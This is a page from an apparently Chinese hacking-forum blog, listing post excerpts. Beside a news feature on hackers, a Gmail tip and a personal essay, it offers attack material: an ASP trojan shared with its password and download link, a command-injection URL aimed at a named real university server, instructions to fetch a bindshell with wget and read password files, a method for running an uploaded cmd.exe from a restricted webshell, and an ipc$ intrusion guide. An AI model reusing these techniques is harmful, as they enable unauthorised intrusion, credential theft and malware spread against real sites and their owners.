大河报专题-黑客就在身边[图]

来源:火狐技术联盟

报道原文.txt文件 经记者反复修改 与真实报道有一定的差异

“黑客”就在我们身边
记者 王春利 实习生 葛振辉/文 记者平伟/图
提起“黑客”,不少人会想起《黑客帝国》里的网络英雄,感觉他们遥远而神秘。其实“黑客”就在你我身边,他们凭借高超的网络技术,未经允许地侵入一些网站,兴致所至还会留下“到此一游”的搞笑之语,有的还恶作剧地"黑"掉一些网站主页。他们虽是网络上的游侠,可生活中多数并没有神秘英雄之感,他可能就是你蓦然回首间发现一个电脑爱好者。他们自由地穿梭于网站间,是因为80%以上的网站存在漏洞;从深谙技术的“黑客”到违法犯罪的“骇客”,就是一步之遥,这给我们的网络安全提出新课题。

“黑客”频繁活动
网站屡遭“入侵”

阅读全文 »

Tags:

Gmail有中文界面了.

setting–display language—中文简体

登陆页面也是简体中文的

Tags:

Dvbbs暴绝对路径漏洞动画(4月13)

来源:[F.S.T]火狐技术联盟 www.wrsky.com

暴出路径只对旁注有帮助!!
大家有什么好建议可以提供
[F.S.T]火狐技术联盟 www.wrsky.com

下载地址

Tags:

蓝屏ASP木马愚人节版

来源:冰点极限论坛

名字 ice
密码 2008
http://lp.bhkj.cn/index.html
在没找到新的开发思路之前不再改进;
谁可以查杀请在回贴中说明:谢谢

Tags: ,

有些人,一旦错过就不在..

哎…..我原来就是因为不够勇敢,才失去了.她曾经跟我说过:我们两个逛街,离的那么近,我却只能一个人独自唱着S.H.E的<恋人未满>…. 有些人,一旦错过就不在..

从一个女生的角度,我比较了解女孩子的心理。女孩子大多不会主动出击,去追求自己喜欢的男孩,除了确实太喜欢了或者是那种比较有个性的勇敢的女孩子。所以,如果你很喜欢一个女孩子,并且认为她对你也有点意思,那就主动点,别跟她搞拉锯战,自己难受,说不定你喜欢的人也痛苦。

任何一个女孩子在被人追的时候,心理都是很复杂的。她也许很开心,但是又带着点惶恐,她对这个闯进自己平静的生活的男孩子,有着欲拒还迎的矛盾心理,她不是故意的。不要以为她在考验你,她其实也在和自己斗争,她怕受到伤害。

不要怕你的主动会带来她

阅读全文 »

webshell 提升 for linux

来源:http://lams.blogchina.com/

我在zone-h得到了答案,他们是这样干的
用wget把bindshell下载到/tmp/目录下
或者再/etc/inetd.conf可写的情况下直接开一个交互的shell
然后用gcc编译
http://cgiserver.sogang.ac.kr/~gsviscom/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|ls%20-al|
ls -al显示文件

||中间的是显示的命令
很简单的办法是得到用户

最基本的办法是得到用户列表然后用流光跑密码

…. etc/passwd?

Tags: , ,

关于WEBSHELL中的命令提示符没有权限提升

信息来源:黑白网络

有很多朋友问他得到了一个WEBSHELL,但是想用命令提示查看用户信息什么的,但是很多主机限制了执行命令,所以很多WEBSHELL就不能失去了很大的功能……前二天桂林老兵ASP站长助手6.0刚出来,我就以ASP站长助手6.0为例把它上传到一个禁止执行的虚拟主机,然后上传一个CMD.exe,然后调用你上传的CMD来执行命令……

本来想搞图文教程的,但感觉太简单,文字就可以说明清楚了

1.打开ASP站长助手6.0点击命令提示符,显示”没有权限”
2.用ASP站长助手6.0上传功能上传一个CMD.exe(在WIN\system32\cmd.exe)到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来)
3.修改你的webshell找到调用CMD.exe的代码

Function CmdShell()
阅读全文 »

Tags: , ,

ipc$详细解释大全

来源:黑鹰论坛

目录 :

一 前言
二 什么是ipc$
三 什么是空会话
四 空会话可以做什么
五 ipc$连接所使用的端口
六 ipc$连接在hack攻击中的意义
七 ipc$连接失败的常见原因
八 复制文件失败的原因
九 如何打开目标的IPC$共享以及其他共享
十 一些需要shell才能完成的命令
十一 入侵中可能会用到的相关命令
十二 ipc$完整入侵步骤祥解
十三 如何防范ipc$入侵
十四 ipc$入侵问答精选
十五 结束的话

一 前言

网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定

式的东西拿出来摆弄。
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的种种迷惑(你

随便找一个hack论坛搜一下ipc$,看看存在的疑惑 阅读全文 »

Tags:
第 332 页,共 335 页« 最新102030330331332333334最旧 »